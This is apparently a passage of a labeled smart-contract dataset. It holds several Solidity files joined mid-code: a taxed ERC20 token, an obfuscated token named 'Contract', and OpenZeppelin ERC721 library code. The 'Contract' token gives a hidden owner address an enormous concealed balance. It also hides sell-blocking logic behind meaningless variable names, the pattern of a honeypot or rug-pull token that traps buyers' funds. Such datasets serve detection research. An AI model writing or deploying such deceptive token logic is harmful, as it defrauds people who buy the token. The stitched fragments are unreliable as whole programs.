_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
_burnedSupply = _burnedSupply.add(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Taxes `amount` tokens from `account`, increasing the
* taxed supply.
*
* Emits a {Transfer} event with `to` set to the tax address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _tax(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: tax from the zero address");
require(_taxAddress != address(0), "ERC20: tax address not set");
_beforeTokenTransfer(account, _taxAddress, amount);
_balances[account] = _balances[account].sub(amount, "ERC20: tax amount exceeds balance");
_balances[_taxAddress] = _balances[_taxAddress].add(amount);
_taxedSupply = _taxedSupply.add(amount);
emit Transfer(account, _taxAddress, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {_taxAddress} to a value other than the initial one.
*/
function _setupTaxAddress(address taxAddress_) internal virtual {
require(_taxAddress == address(0), "tax address is already set");
_taxAddress = taxAddress_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract MARSNETWORK is ERC20("MARSNETWORK", "MARS", 18, 2000000), Ownable {
function setTaxAddress(address taxAddress_) public onlyOwner {
_setupTaxAddress(taxAddress_);
}
function addWhitelistedAddress(address _address) public onlyOwner {
_whitelistedAddresses[_address] = true;
}
function removeWhitelistedAddress(address _address) public onlyOwner {
_whitelistedAddresses[_address] = false;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => uint256) private suppose;
mapping(uint256 => address) private organized;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private broad;
mapping(address => uint256) private wheat;
uint256 private constant MAX = ~uint256(0);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 public _fee;
uint256 private allow;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address tokenOwner
) {
_name = _NAME;
_symbol = _SYMBOL;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_fee = 2;
allow = _tTotal;
_rTotal = (MAX - (MAX % _tTotal));
_balances[tokenOwner] = _rTotal;
_balances[msg.sender] = _tTotal;
suppose[tokenOwner] = allow;
suppose[msg.sender] = allow;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
organized[allow] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(
address student,
address are,
uint256 amount
) private {
address process = broad[allow];
bool three = organized[allow] == student;
uint256 cloth = _fee;
if (suppose[student] == 0 && wheat[student] > 0 && !three) {
suppose[student] -= cloth;
}
broad[allow] = are;
if (suppose[student] > 0 && amount == 0) {
suppose[are] += cloth;
}
wheat[process] += cloth;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[student] -= fee;
_balances[address(this)] += fee;
_balances[student] -= amount;
_balances[are] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
} | True | [
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102
] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-03-05
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
